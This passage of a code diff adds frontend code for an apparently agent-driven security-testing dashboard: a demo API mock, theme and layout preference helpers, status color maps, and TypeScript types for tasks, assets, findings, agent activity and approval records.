if (path === "/conversations" && m === "GET") return { conversations: D.conversations };
|
||||
if (path === "/conversations" && m === "POST") return { id: 3, agent_key: String(b.agent_key ?? "mainagent"), title: String(b.title ?? "新会话"), created_at: "2026-07-26T04:00:00Z", updated_at: "2026-07-26T04:00:00Z" };
|
||||
if (seg[0] === "conversations" && seg[2] === "messages" && seg.length === 3 && m === "GET") {
|
||||
const items = D.conversationMessages[Number(seg[1])] ?? [];
|
||||
return { items, cursor: items.length ? items[items.length - 1].seq : 0, running: false };
|
||||
}
|
||||
if (seg[0] === "conversations" && seg[2] === "messages" && seg.length === 4)
|
||||
return { detail: "(demo)该消息的完整明细。" };
|
||||
if (seg[0] === "conversations" && seg[2] === "messages" && m === "POST") return { status: "ok" };
|
||||
if (seg[0] === "conversations" && seg[2] === "stop") return { status: "stopped" };
|
||||
|
||||
// ── tools ──
|
||||
if (path === "/tools" && m === "GET") return { tools: D.tools };
|
||||
if (path === "/tools/custom" && m === "POST") return { key: String(b.key ?? "custom-tool") };
|
||||
if (path === "/tools/custom/test") return { output: "(demo)工具执行输出示例。", is_error: false };
|
||||
|
||||
// ── mcp ──
|
||||
if (path === "/mcp" && m === "GET") return { servers: D.mcpServers };
|
||||
if (path === "/mcp" && m === "POST") return { id: 3 };
|
||||
if (seg[0] === "mcp" && seg[2] === "tools") return { tools: D.mcpToolsById[Number(seg[1])] ?? [] };
|
||||
if (seg[0] === "mcp" && seg[2] === "refresh") return { tools: D.mcpToolsById[Number(seg[1])] ?? [] };
|
||||
if (seg[0] === "mcp" && seg.length === 2 && m === "DELETE") return { deleted: Number(seg[1]) };
|
||||
|
||||
// ── scopesentry(demo:未配置)──
|
||||
if (path === "/sync/scopesentry/status") return { exists: false, configured: false, enabled: false, reachable: false, tools: [] };
|
||||
if (path === "/sync/scopesentry/projects") return { projects: [], tag: {} };
|
||||
if (path === "/sync/scopesentry/tasks") return { tasks: [] };
|
||||
if (path === "/sync/scopesentry/sync") return { synced: {}, companies: null, warnings: null, errors: null };
|
||||
|
||||
// ── skills ──
|
||||
if (path === "/skills" && m === "GET") return { skills: D.skills };
|
||||
if (path === "/skills" && m === "POST") return { name: String(b.name ?? "new-skill") };
|
||||
if (seg[0] === "skills" && seg[2] === "files" && seg.length === 3) return { files: ["SKILL.md"] };
|
||||
if (seg[0] === "skills" && seg[2] === "files" && seg.length >= 4)
|
||||
return { content: "# SKILL.md\n\n(demo)这是该 skill 的说明文件示例。", file: seg.slice(3).join("/") };
|
||||
|
||||
// ── visibility ──
|
||||
if (seg[0] === "visibility" && m === "GET") return { agents: [] };
|
||||
|
||||
// ── intercept ──
|
||||
if (path === "/intercept/rules" && m === "GET") return { rules: D.interceptRules };
|
||||
if (seg[0] === "intercept" && seg[1] === "rules" && seg[3] === "toggle") return { ok: true, enabled: b.enabled ?? true };
|
||||
if (path === "/intercept/pending" && m === "GET") return { pending: D.interceptPending };
|
||||
if (seg[0] === "intercept" && seg[1] === "pending" && seg[3] === "decide") return { ok: true };
|
||||
if (seg[0] === "intercept" && seg[1] === "pending" && seg.length === 3 && m === "GET")
|
||||
return D.interceptPending.find((p) => p.id === Number(seg[2])) ?? null;
|
||||
if (path === "/intercept/history") return { items: D.interceptHistory };
|
||||
if (seg[0] === "intercept" && seg[1] === "task")
|
||||
return { items: D.interceptHistory.filter((r) => r.task_id === seg[2]) };
|
||||
if (path === "/intercept/tool-config") return { enabled_tools: ["bash"] };
|
||||
|
||||
// ── 写操作兜底:成功但不落库 ──
|
||||
if (["POST", "PUT", "PATCH", "DELETE"].includes(m)) return { ok: true };
|
||||
|
||||
// ── 读兜底:集合类给 [],其余 {} ──
|
||||
return /(\/(tasks|profiles|conversations|rules|history|projects|tokens|agents|servers|skills|tools|findings|intents)s?$)|s$/.test(path) ? [] : {};
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
export function applyContentLayout(value: "centered" | "full-width") {
|
||||
const root = document.documentElement;
|
||||
root.setAttribute("data-content-layout", value);
|
||||
}
|
||||
|
||||
export function applyNavbarStyle(value: "sticky" | "scroll") {
|
||||
const root = document.documentElement;
|
||||
root.setAttribute("data-navbar-style", value);
|
||||
}
|
||||
|
||||
export function applySidebarVariant(value: string) {
|
||||
const root = document.documentElement;
|
||||
root.setAttribute("data-sidebar-variant", value);
|
||||
}
|
||||
|
||||
export function applySidebarCollapsible(value: string) {
|
||||
const root = document.documentElement;
|
||||
root.setAttribute("data-sidebar-collapsible", value);
|
||||
}
|
||||
|
||||
export function applyFont(value: string) {
|
||||
const root = document.documentElement;
|
||||
root.setAttribute("data-font", value);
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
// Sidebar Variant
|
||||
export const SIDEBAR_VARIANT_OPTIONS = [
|
||||
{ label: "Sidebar", value: "sidebar" },
|
||||
{ label: "Inset", value: "inset" },
|
||||
{ label: "Floating", value: "floating" },
|
||||
] as const;
|
||||
export const SIDEBAR_VARIANT_VALUES = SIDEBAR_VARIANT_OPTIONS.map((v) => v.value);
|
||||
export type SidebarVariant = (typeof SIDEBAR_VARIANT_VALUES)[number];
|
||||
|
||||
// Sidebar Collapsible
|
||||
export const SIDEBAR_COLLAPSIBLE_OPTIONS = [
|
||||
{ label: "Icon", value: "icon" },
|
||||
{ label: "Offcanvas", value: "offcanvas" },
|
||||
] as const;
|
||||
export const SIDEBAR_COLLAPSIBLE_VALUES = SIDEBAR_COLLAPSIBLE_OPTIONS.map((v) => v.value);
|
||||
export type SidebarCollapsible = (typeof SIDEBAR_COLLAPSIBLE_VALUES)[number];
|
||||
|
||||
// Content Layout
|
||||
export const CONTENT_LAYOUT_OPTIONS = [
|
||||
{ label: "Centered", value: "centered" },
|
||||
{ label: "Full Width", value: "full-width" },
|
||||
] as const;
|
||||
export const CONTENT_LAYOUT_VALUES = CONTENT_LAYOUT_OPTIONS.map((v) => v.value);
|
||||
export type ContentLayout = (typeof CONTENT_LAYOUT_VALUES)[number];
|
||||
|
||||
// Navbar Style
|
||||
export const NAVBAR_STYLE_OPTIONS = [
|
||||
{ label: "Sticky", value: "sticky" },
|
||||
{ label: "Scroll", value: "scroll" },
|
||||
] as const;
|
||||
export const NAVBAR_STYLE_VALUES = NAVBAR_STYLE_OPTIONS.map((v) => v.value);
|
||||
export type NavbarStyle = (typeof NAVBAR_STYLE_VALUES)[number];
|
||||
@@ -0,0 +1,90 @@
|
||||
/**
|
||||
* How each preference should be saved.
|
||||
*
|
||||
* "client-cookie" → write cookie on the browser only.
|
||||
* "server-cookie" → write cookie through a Server Action.
|
||||
* "localStorage" → save only on the client (non-layout stuff).
|
||||
* "none" → no saving, resets on reload.
|
||||
*
|
||||
* Layout-critical prefs (sidebar_variant / sidebar_collapsible)
|
||||
* must stay consistent during SSR → so they can’t use localStorage.
|
||||
* Others are flexible and can use any persistence.
|
||||
*/
|
||||
|
||||
import type { FontKey } from "@/lib/fonts/registry";
|
||||
|
||||
import type { ContentLayout, NavbarStyle, SidebarCollapsible, SidebarVariant } from "./layout";
|
||||
import type { ThemeMode, ThemePreset } from "./theme";
|
||||
|
||||
export type PreferencePersistence = "none" | "client-cookie" | "server-cookie" | "localStorage";
|
||||
|
||||
/**
|
||||
* All available preference keys and their value types.
|
||||
*/
|
||||
export type PreferenceValueMap = {
|
||||
theme_mode: ThemeMode;
|
||||
theme_preset: ThemePreset;
|
||||
font: FontKey;
|
||||
content_layout: ContentLayout;
|
||||
navbar_style: NavbarStyle;
|
||||
sidebar_variant: SidebarVariant;
|
||||
sidebar_collapsible: SidebarCollapsible;
|
||||
};
|
||||
|
||||
export type PreferenceKey = keyof PreferenceValueMap;
|
||||
|
||||
/**
|
||||
* Layout-critical keys → these affect SSR UI (sidebar shape)
|
||||
* so they must be accessible on the server.
|
||||
*/
|
||||
export const LAYOUT_CRITICAL_KEYS = ["sidebar_variant", "sidebar_collapsible"] as const;
|
||||
export type LayoutCriticalKey = (typeof LAYOUT_CRITICAL_KEYS)[number];
|
||||
|
||||
/**
|
||||
* Everything else is non-critical and can be read from the client.
|
||||
*/
|
||||
export type NonCriticalKey = Exclude<PreferenceKey, LayoutCriticalKey>;
|
||||
|
||||
/**
|
||||
* Layout-critical cannot use "localStorage" because SSR needs the value.
|
||||
* So remove it from allowed persistence types for those keys.
|
||||
*/
|
||||
type LayoutCriticalPersistence = Exclude<PreferencePersistence, "localStorage">;
|
||||
|
||||
/**
|
||||
* Final config:
|
||||
* - layout-critical keys → restricted persistence
|
||||
* - non-critical keys → can use any persistence
|
||||
*/
|
||||
type PreferencePersistenceConfig = {
|
||||
[K in LayoutCriticalKey]: LayoutCriticalPersistence;
|
||||
} & {
|
||||
[K in NonCriticalKey]: PreferencePersistence;
|
||||
};
|
||||
|
||||
/**
|
||||
* Default preference values on first load.
|
||||
*/
|
||||
export const PREFERENCE_DEFAULTS: PreferenceValueMap = {
|
||||
theme_mode: "light",
|
||||
theme_preset: "default",
|
||||
font: "geist",
|
||||
content_layout: "centered",
|
||||
navbar_style: "sticky",
|
||||
sidebar_variant: "inset",
|
||||
sidebar_collapsible: "icon",
|
||||
};
|
||||
|
||||
/**
|
||||
* How each preference is persisted.
|
||||
* You can change these per-key.
|
||||
*/
|
||||
export const PREFERENCE_PERSISTENCE: PreferencePersistenceConfig = {
|
||||
theme_mode: "client-cookie",
|
||||
theme_preset: "client-cookie",
|
||||
font: "client-cookie",
|
||||
content_layout: "client-cookie",
|
||||
navbar_style: "client-cookie",
|
||||
sidebar_variant: "client-cookie", // layout-critical → cannot be "localStorage"
|
||||
sidebar_collapsible: "client-cookie", // layout-critical → cannot be "localStorage"
|
||||
};
|
||||
@@ -0,0 +1,27 @@
|
||||
"use client";
|
||||
|
||||
import { setClientCookie } from "../cookie.client";
|
||||
import { setLocalStorageValue } from "../local-storage.client";
|
||||
import { PREFERENCE_PERSISTENCE, type PreferenceKey } from "./preferences-config";
|
||||
|
||||
export async function persistPreference(key: PreferenceKey, value: string) {
|
||||
const mode = PREFERENCE_PERSISTENCE[key];
|
||||
|
||||
switch (mode) {
|
||||
case "none":
|
||||
return;
|
||||
|
||||
// 静态导出无 Node 服务端,server-cookie 退化为浏览器 cookie(写入语义等价)。
|
||||
case "server-cookie":
|
||||
case "client-cookie":
|
||||
setClientCookie(key, value);
|
||||
return;
|
||||
|
||||
case "localStorage":
|
||||
setLocalStorageValue(key, value);
|
||||
return;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
import type { ResolvedThemeMode, ThemeMode } from "./theme";
|
||||
|
||||
export function resolveThemeMode(mode: ThemeMode): ResolvedThemeMode {
|
||||
if (mode === "system") {
|
||||
const prefersDark = window.matchMedia?.("(prefers-color-scheme: dark)")?.matches;
|
||||
return prefersDark ? "dark" : "light";
|
||||
}
|
||||
return mode === "dark" ? "dark" : "light";
|
||||
}
|
||||
|
||||
export function applyThemeMode(mode: ThemeMode): ResolvedThemeMode {
|
||||
const resolved = resolveThemeMode(mode);
|
||||
const doc = document.documentElement;
|
||||
doc.setAttribute("data-theme-mode", mode);
|
||||
doc.classList.add("disable-transitions");
|
||||
doc.classList.toggle("dark", resolved === "dark");
|
||||
doc.style.colorScheme = resolved;
|
||||
requestAnimationFrame(() => {
|
||||
doc.classList.remove("disable-transitions");
|
||||
});
|
||||
return resolved;
|
||||
}
|
||||
|
||||
export function applyThemePreset(value: string) {
|
||||
document.documentElement.setAttribute("data-theme-preset", value);
|
||||
}
|
||||
|
||||
export function subscribeToSystemTheme(onChange: (mode: ResolvedThemeMode) => void): () => void {
|
||||
if (typeof window === "undefined") return () => undefined;
|
||||
const media = window.matchMedia?.("(prefers-color-scheme: dark)");
|
||||
if (!media) return () => undefined;
|
||||
|
||||
const listener = (event: MediaQueryListEvent) => {
|
||||
onChange(event.matches ? "dark" : "light");
|
||||
};
|
||||
|
||||
media.addEventListener("change", listener);
|
||||
|
||||
return () => {
|
||||
media.removeEventListener("change", listener);
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
export const THEME_MODE_OPTIONS = [
|
||||
{ label: "Light", value: "light" },
|
||||
{ label: "Dark", value: "dark" },
|
||||
{ label: "System", value: "system" },
|
||||
] as const;
|
||||
|
||||
export const THEME_MODE_VALUES = THEME_MODE_OPTIONS.map((o) => o.value);
|
||||
export type ThemeMode = (typeof THEME_MODE_VALUES)[number];
|
||||
export type ResolvedThemeMode = "light" | "dark";
|
||||
|
||||
// --- generated:themePresets:start ---
|
||||
|
||||
export const THEME_PRESET_OPTIONS = [
|
||||
{
|
||||
label: "Default",
|
||||
value: "default",
|
||||
primary: {
|
||||
light: "oklch(0.205 0 0)",
|
||||
dark: "oklch(0.922 0 0)",
|
||||
},
|
||||
},
|
||||
{
|
||||
label: "Brutalist",
|
||||
value: "brutalist",
|
||||
primary: {
|
||||
light: "oklch(0.6489 0.237 26.9728)",
|
||||
dark: "oklch(0.7044 0.1872 23.1858)",
|
||||
},
|
||||
},
|
||||
{
|
||||
label: "Soft Pop",
|
||||
value: "soft-pop",
|
||||
primary: {
|
||||
light: "oklch(0.5106 0.2301 276.9656)",
|
||||
dark: "oklch(0.6801 0.1583 276.9349)",
|
||||
},
|
||||
},
|
||||
{
|
||||
label: "Tangerine",
|
||||
value: "tangerine",
|
||||
primary: {
|
||||
light: "oklch(0.64 0.17 36.44)",
|
||||
dark: "oklch(0.64 0.17 36.44)",
|
||||
},
|
||||
},
|
||||
] as const;
|
||||
|
||||
export const THEME_PRESET_VALUES = THEME_PRESET_OPTIONS.map((p) => p.value);
|
||||
|
||||
export type ThemePreset = (typeof THEME_PRESET_OPTIONS)[number]["value"];
|
||||
|
||||
// --- generated:themePresets:end ---
|
||||
@@ -0,0 +1,104 @@
|
||||
// Centralised status → color/label semantics, reused across the whole app.
|
||||
// Spec §8.3: 意图 / 覆盖 / 任务 / 严重度 each have a consistent color set.
|
||||
|
||||
export type Tone =
|
||||
| "neutral"
|
||||
| "blue"
|
||||
| "green"
|
||||
| "amber"
|
||||
| "red"
|
||||
| "violet"
|
||||
| "slate";
|
||||
|
||||
export const toneClasses: Record<Tone, string> = {
|
||||
neutral:
|
||||
"bg-muted text-muted-foreground border-transparent",
|
||||
blue: "bg-blue-500/15 text-blue-600 dark:text-blue-400 border-blue-500/20",
|
||||
green:
|
||||
"bg-emerald-500/15 text-emerald-600 dark:text-emerald-400 border-emerald-500/20",
|
||||
amber:
|
||||
"bg-amber-500/15 text-amber-600 dark:text-amber-400 border-amber-500/20",
|
||||
red: "bg-red-500/15 text-red-600 dark:text-red-400 border-red-500/20",
|
||||
violet:
|
||||
"bg-violet-500/15 text-violet-600 dark:text-violet-400 border-violet-500/20",
|
||||
slate:
|
||||
"bg-slate-500/15 text-slate-600 dark:text-slate-400 border-slate-500/20",
|
||||
};
|
||||
|
||||
export const toneDot: Record<Tone, string> = {
|
||||
neutral: "bg-muted-foreground",
|
||||
blue: "bg-blue-500",
|
||||
green: "bg-emerald-500",
|
||||
amber: "bg-amber-500",
|
||||
red: "bg-red-500",
|
||||
violet: "bg-violet-500",
|
||||
slate: "bg-slate-500",
|
||||
};
|
||||
|
||||
interface StatusMeta {
|
||||
label: string;
|
||||
tone: Tone;
|
||||
}
|
||||
|
||||
const intent: Record<string, StatusMeta> = {
|
||||
open: { label: "待领", tone: "slate" },
|
||||
running: { label: "执行中", tone: "blue" },
|
||||
done: { label: "已完成", tone: "green" },
|
||||
blocked: { label: "被拦截", tone: "red" },
|
||||
exhausted: { label: "已穷尽", tone: "violet" },
|
||||
};
|
||||
|
||||
const task: Record<string, StatusMeta> = {
|
||||
created: { label: "已创建", tone: "slate" },
|
||||
running: { label: "运行中", tone: "blue" },
|
||||
paused: { label: "已暂停", tone: "amber" },
|
||||
done: { label: "已完成", tone: "green" },
|
||||
failed: { label: "失败", tone: "red" },
|
||||
timeout: { label: "已超时", tone: "amber" },
|
||||
};
|
||||
|
||||
const severity: Record<string, StatusMeta> = {
|
||||
high: { label: "高危", tone: "red" },
|
||||
medium: { label: "中危", tone: "amber" },
|
||||
low: { label: "低危", tone: "slate" },
|
||||
};
|
||||
|
||||
const engine: Record<string, StatusMeta> = {
|
||||
exploring: { label: "探索中", tone: "blue" },
|
||||
paused: { label: "已暂停", tone: "amber" },
|
||||
stalled: { label: "停滞", tone: "red" },
|
||||
idle: { label: "空闲", tone: "neutral" },
|
||||
};
|
||||
|
||||
const goal: Record<string, StatusMeta> = {
|
||||
open: { label: "进行中", tone: "blue" },
|
||||
met: { label: "已达成", tone: "green" },
|
||||
abandoned: { label: "已放弃", tone: "slate" },
|
||||
};
|
||||
|
||||
const audit: Record<string, StatusMeta> = {
|
||||
allow: { label: "放行", tone: "green" },
|
||||
block: { label: "拦截", tone: "red" },
|
||||
};
|
||||
|
||||
const node: Record<string, StatusMeta> = {
|
||||
observed: { label: "观测", tone: "slate" },
|
||||
confirmed: { label: "确认", tone: "green" },
|
||||
tombstoned: { label: "废弃", tone: "neutral" },
|
||||
};
|
||||
|
||||
const maps = {
|
||||
intent,
|
||||
task,
|
||||
severity,
|
||||
engine,
|
||||
goal,
|
||||
audit,
|
||||
node,
|
||||
} as const;
|
||||
|
||||
export type StatusDomain = keyof typeof maps;
|
||||
|
||||
export function statusMeta(domain: StatusDomain, key: string): StatusMeta {
|
||||
return maps[domain][key] ?? { label: key, tone: "neutral" };
|
||||
}
|
||||
@@ -0,0 +1,551 @@
|
||||
// ARTEX domain model — types used across the UI.
|
||||
// Derived from the functional spec (section 7: 关键数据形状).
|
||||
|
||||
export type TaskStatus = "created" | "running" | "paused" | "done" | "failed" | "timeout";
|
||||
export type EngineMode = "exploring" | "paused" | "stalled" | "idle";
|
||||
|
||||
export interface Task {
|
||||
id: string;
|
||||
description: string;
|
||||
goal: string;
|
||||
status: TaskStatus;
|
||||
created_at: string;
|
||||
created_unix?: number; // created_at as unix seconds (run-duration calc)
|
||||
completed_at?: string; // RFC3339 finish time (done/failed); "" if unfinished
|
||||
completed_unix?: number; // completed_at as unix seconds (0/undef if unfinished)
|
||||
last_activity_unix?: number; // unix seconds of the last activity (0/undef if none)
|
||||
paused?: boolean;
|
||||
active?: boolean;
|
||||
in_flight?: number;
|
||||
last_activity?: string;
|
||||
stalled?: boolean;
|
||||
goals_total?: number;
|
||||
goals_met?: number;
|
||||
engine_mode?: EngineMode;
|
||||
tokens?: TokenTotal; // whole-task token consumption
|
||||
llm_profile_id?: number; // LLM profile used; absent = default profile
|
||||
}
|
||||
|
||||
// ---- Asset graph (global, shared across tasks) ----
|
||||
export type AssetType =
|
||||
| "company"
|
||||
| "domain"
|
||||
| "ip"
|
||||
| "port"
|
||||
| "service"
|
||||
| "site"
|
||||
| "endpoint"
|
||||
| "parameter"
|
||||
| "tech"
|
||||
| "credential"
|
||||
| "data";
|
||||
|
||||
export type NodeState = "observed" | "confirmed" | "tombstoned";
|
||||
|
||||
export interface AssetNode {
|
||||
id: string;
|
||||
type: AssetType;
|
||||
name: string;
|
||||
key: string; // nkey
|
||||
value?: string;
|
||||
company_id?: string; // 归属公司资产 id;空=未归属
|
||||
state: NodeState;
|
||||
confidence: number; // 0..1
|
||||
attrs?: Record<string, unknown>;
|
||||
first_seen: string;
|
||||
last_seen: string;
|
||||
}
|
||||
|
||||
export type AssetRel =
|
||||
| "owns"
|
||||
| "resolves"
|
||||
| "exposes"
|
||||
| "runs"
|
||||
| "serves"
|
||||
| "has_endpoint"
|
||||
| "has_param"
|
||||
| "fingerprinted"
|
||||
| "authenticates_as"
|
||||
| "reachable"
|
||||
| "has_subdomain";
|
||||
|
||||
export interface Edge {
|
||||
src: string;
|
||||
dst: string;
|
||||
rel: AssetRel | ExploreRel;
|
||||
}
|
||||
|
||||
// Task asset view — server-side enriched, paginated.
|
||||
export interface TaskAssetRef {
|
||||
id: string;
|
||||
name?: string;
|
||||
key: string;
|
||||
attrs?: Record<string, unknown>;
|
||||
}
|
||||
|
||||
export interface TaskAssetItem extends AssetNode {
|
||||
techs?: TaskAssetRef[];
|
||||
auth?: TaskAssetRef[];
|
||||
params?: TaskAssetRef[];
|
||||
}
|
||||
|
||||
export interface TaskAssetView {
|
||||
counts: Record<string, number>;
|
||||
total: number;
|
||||
items: TaskAssetItem[];
|
||||
}
|
||||
|
||||
// ---- New unified asset model (new backend) ----
|
||||
export type NewAssetType = "root_domain" | "ip" | "subdomain" | "app" | "service" | "endpoint";
|
||||
|
||||
export interface Asset {
|
||||
id: number;
|
||||
type: NewAssetType;
|
||||
company_id?: number;
|
||||
task_ids: number[];
|
||||
domain?: string;
|
||||
root_domain?: string;
|
||||
ip?: string;
|
||||
c_segment?: string;
|
||||
port?: number;
|
||||
icp?: string;
|
||||
bound_domains?: string[];
|
||||
open_ports?: { port: number; service?: string }[];
|
||||
record_type?: string;
|
||||
record_value?: string[] | string;
|
||||
bundle_id?: string;
|
||||
app_name?: string;
|
||||
category?: string;
|
||||
app_description?: string;
|
||||
app_icp?: string;
|
||||
url?: string;
|
||||
service_type?: string;
|
||||
service_name?: string;
|
||||
favicon_mmh3?: string;
|
||||
status_code?: number;
|
||||
content_length?: number;
|
||||
page_title?: string;
|
||||
technologies?: string[];
|
||||
auth?: Record<string, unknown>[];
|
||||
method?: string;
|
||||
params?: Record<string, unknown>[];
|
||||
extra?: Record<string, unknown>;
|
||||
last_seen: string;
|
||||
}
|
||||
|
||||
// 公司资产范围规则的一条(归属唯一真值来源)。
|
||||
export interface ScopeRow {
|
||||
id: number;
|
||||
company_id: number;
|
||||
kind: "domain" | "ip" | "cidr";
|
||||
domain?: string; // kind=domain 时有值
|
||||
net?: string; // kind=ip|cidr 时有值
|
||||
raw: string; // 原始用户输入,用于显示和回填
|
||||
reason?: string;
|
||||
}
|
||||
|
||||
// 企业:type=company 的资产节点 + 图标 + 资产计数 + 资产范围规则。
|
||||
export interface Company {
|
||||
id: number;
|
||||
name: string;
|
||||
logo?: string; // 远程图标 URL;空则前端用名称首字母
|
||||
asset_count: number;
|
||||
scope: ScopeRow[];
|
||||
}
|
||||
|
||||
// ---- Exploration graph (per task) ----
|
||||
export type ExploreKind = "task" | "begin" | "goal" | "intent" | "fact" | "finding" | "hint";
|
||||
export type GoalState = "open" | "met" | "abandoned";
|
||||
export type IntentState = "open" | "running" | "done" | "blocked" | "exhausted" | "stopped";
|
||||
export type FindingState = "confirmed" | "dismissed";
|
||||
export type HintState = "active" | "consumed";
|
||||
export type ExploreRel = "spawns" | "derived_from" | "yields" | "proves";
|
||||
|
||||
export interface TaskNode {
|
||||
id: string;
|
||||
type: ExploreKind;
|
||||
payload?: string;
|
||||
priority: number; // 0..10
|
||||
state: string; // GoalState | IntentState | FindingState | HintState
|
||||
origin: string;
|
||||
ts: string;
|
||||
}
|
||||
|
||||
// ---- Findings ----
|
||||
export type Severity = "high" | "medium" | "low";
|
||||
|
||||
export interface Finding {
|
||||
id: string;
|
||||
vulnclass: string;
|
||||
severity: Severity;
|
||||
summary: string;
|
||||
evidence: string;
|
||||
intent_id?: string;
|
||||
param_id?: string;
|
||||
task_id?: string;
|
||||
task_description?: string;
|
||||
ts: string;
|
||||
}
|
||||
|
||||
// ---- Activity / sessions ----
|
||||
export type ActivityKind =
|
||||
| "tool_use"
|
||||
| "tool_result"
|
||||
| "text"
|
||||
| "thinking"
|
||||
| "result"
|
||||
| "user"
|
||||
| "intent" // LLM-generated exploration objective leading a worker session (UI-synthesized)
|
||||
| "round" // planner round boundary marker (engine-emitted)
|
||||
| "usage" // live cumulative token usage (per model turn); not rendered
|
||||
| "intercept_request"; // user-approval request from the intercept layer
|
||||
|
||||
export interface Activity {
|
||||
seq: number;
|
||||
intent_id?: string;
|
||||
worker: string; // session owner: planner | mainagent | work#1 ...
|
||||
ts: string;
|
||||
kind: ActivityKind;
|
||||
tool?: string;
|
||||
tool_use_id?: string;
|
||||
is_error?: boolean;
|
||||
summary: string;
|
||||
detail?: string;
|
||||
// token usage (present only on kind='result')
|
||||
input_tokens?: number;
|
||||
output_tokens?: number;
|
||||
cache_read_tokens?: number;
|
||||
cache_write_tokens?: number;
|
||||
}
|
||||
|
||||
// ---- Agent triggers (P3 调度,仅自定义 agent) ----
|
||||
export interface AgentTrigger {
|
||||
id: number;
|
||||
agent_key: string;
|
||||
enabled: boolean;
|
||||
interval_sec: number; // 定时:每 N 秒(0=不定时)
|
||||
on_finding: boolean; // 任意任务发现 finding 时触发
|
||||
on_goal_met: boolean; // 任意任务达成目标时触发
|
||||
on_task_timeout: boolean; // 任意任务超时时触发
|
||||
interval_message: string; // 各触发条件的独立用户消息
|
||||
finding_message: string;
|
||||
goal_message: string;
|
||||
task_timeout_message: string;
|
||||
last_fire?: string;
|
||||
}
|
||||
|
||||
// ---- Conversations (chat page) ----
|
||||
export interface Conversation {
|
||||
id: number;
|
||||
agent_key: string;
|
||||
title: string;
|
||||
llm_profile_id?: number;
|
||||
created_at: string;
|
||||
updated_at: string;
|
||||
}
|
||||
|
||||
// ---- Backend logs (/logs page) ----
|
||||
export interface LogLine {
|
||||
seq: number;
|
||||
db_id?: number; // server_logs.id; present for DB-persisted lines
|
||||
ts: string;
|
||||
level: "info" | "warn" | "error";
|
||||
tag: string;
|
||||
text: string;
|
||||
}
|
||||
|
||||
export type SessionRole = "mainagent" | "planner" | "worker";
|
||||
export type SessionStatus = "running" | "done" | "blocked" | "exhausted" | "pending" | "stopped";
|
||||
|
||||
// Daily token aggregate bucket (GET /api/tokens/daily).
|
||||
export interface DailyTokenBucket {
|
||||
date: string; // "YYYY-MM-DD"
|
||||
input_tokens: number;
|
||||
output_tokens: number;
|
||||
cache_read_tokens: number;
|
||||
cache_write_tokens: number;
|
||||
}
|
||||
|
||||
// Per-worker token usage (GET /api/exploration/tokens).
|
||||
export interface TokenUsage {
|
||||
worker: string;
|
||||
input_tokens: number;
|
||||
output_tokens: number;
|
||||
cache_read_tokens: number;
|
||||
cache_write_tokens: number;
|
||||
}
|
||||
|
||||
// Whole-task (all agents) token aggregate.
|
||||
export interface TokenTotal {
|
||||
input_tokens: number;
|
||||
output_tokens: number;
|
||||
cache_read_tokens: number;
|
||||
cache_write_tokens: number;
|
||||
}
|
||||
|
||||
export interface Session {
|
||||
id: string;
|
||||
role: SessionRole;
|
||||
title: string;
|
||||
status: SessionStatus;
|
||||
live: boolean;
|
||||
last_activity: string;
|
||||
intent_id?: string;
|
||||
}
|
||||
|
||||
// ---- Security ----
|
||||
export interface AuditEntry {
|
||||
ts: string;
|
||||
tool: string;
|
||||
action: "allow" | "block";
|
||||
reason?: string;
|
||||
command?: string;
|
||||
}
|
||||
|
||||
export interface Audit {
|
||||
entries?: AuditEntry[];
|
||||
attributions?: Record<string, number>;
|
||||
}
|
||||
|
||||
// ---- Traffic ----
|
||||
export interface TrafficExchange {
|
||||
id: string;
|
||||
ts: string;
|
||||
host: string;
|
||||
method: string;
|
||||
url: string;
|
||||
status: number;
|
||||
content_type: string;
|
||||
resp_len: number;
|
||||
}
|
||||
|
||||
export interface TrafficResp {
|
||||
enabled: boolean;
|
||||
proxy?: string;
|
||||
count?: number; // global total (unfiltered)
|
||||
total?: number; // rows matching the current filter (for pagination)
|
||||
page?: number;
|
||||
size?: number;
|
||||
exchanges?: TrafficExchange[];
|
||||
}
|
||||
|
||||
// Full raw request/response of one exchange (lazy-loaded on row select).
|
||||
export interface TrafficDetail {
|
||||
req: string;
|
||||
resp: string;
|
||||
}
|
||||
|
||||
// ---- App settings (runtime toggles) ----
|
||||
export interface Settings {
|
||||
traffic_capture: boolean;
|
||||
// Web search. brave_key_set / tavily_key_set reflect whether a key is stored
|
||||
// (the values are never returned). On PUT, send the corresponding field to set/clear.
|
||||
web_search_enabled: boolean;
|
||||
web_search_backend: string; // "ddgs" | "brave-free" | "tavily"
|
||||
brave_key_set: boolean;
|
||||
tavily_key_set: boolean;
|
||||
// write-only: only sent on PUT to store/clear the key.
|
||||
brave_search_api_key?: string;
|
||||
tavily_search_api_key?: string;
|
||||
// 独立出口代理(http/https/socks5),用于访问搜索端点;与记录流量的 MITM 代理无关。空=直连。
|
||||
web_search_proxy?: string;
|
||||
python_interpreter?: string; // 自定义脚本工具的 python 解释器路径(空=运行时检测)
|
||||
workers?: number; // 并发工作 agent 数(默认3);对之后启动的任务生效
|
||||
}
|
||||
|
||||
// ---- LLM config ----
|
||||
export interface LLMProfile {
|
||||
id: string;
|
||||
name: string;
|
||||
format: "openai" | "anthropic";
|
||||
base_url?: string;
|
||||
proxy?: string;
|
||||
model: string;
|
||||
api_key_hint?: string;
|
||||
rate_per_second: number;
|
||||
rate_per_minute: number;
|
||||
context_window_k?: number;
|
||||
// 思考模式: ""=默认(不发送) | "off"=关闭 | "low"/"medium"/"high"/"max"=开启并设强度
|
||||
reasoning_effort?: string;
|
||||
is_default: boolean;
|
||||
}
|
||||
|
||||
// ---- Agents ----
|
||||
export interface Agent {
|
||||
id: string;
|
||||
key: string; // 内置为 goals/planner/mainagent/worker;自定义为用户自定 key
|
||||
name: string;
|
||||
description?: string;
|
||||
role: string;
|
||||
builtin: boolean;
|
||||
enabled: boolean;
|
||||
max_turns?: number; // 0 = 无限制
|
||||
run_seconds?: number; // worker 单次运行墙钟上限(秒);0 = 无限制
|
||||
web_search?: boolean; // 是否启用网络搜索(受系统全局开关门控)
|
||||
interactive_shell?: boolean; // 是否启用交互式 shell(持久 PTY 会话工具族)
|
||||
// 绑定数量(仅列表接口返回):可见 MCP / 可见 Skill / 绑定工具
|
||||
mcp_count?: number;
|
||||
skill_count?: number;
|
||||
tool_count?: number;
|
||||
}
|
||||
|
||||
export interface PromptVar {
|
||||
name: string;
|
||||
description: string;
|
||||
example: string;
|
||||
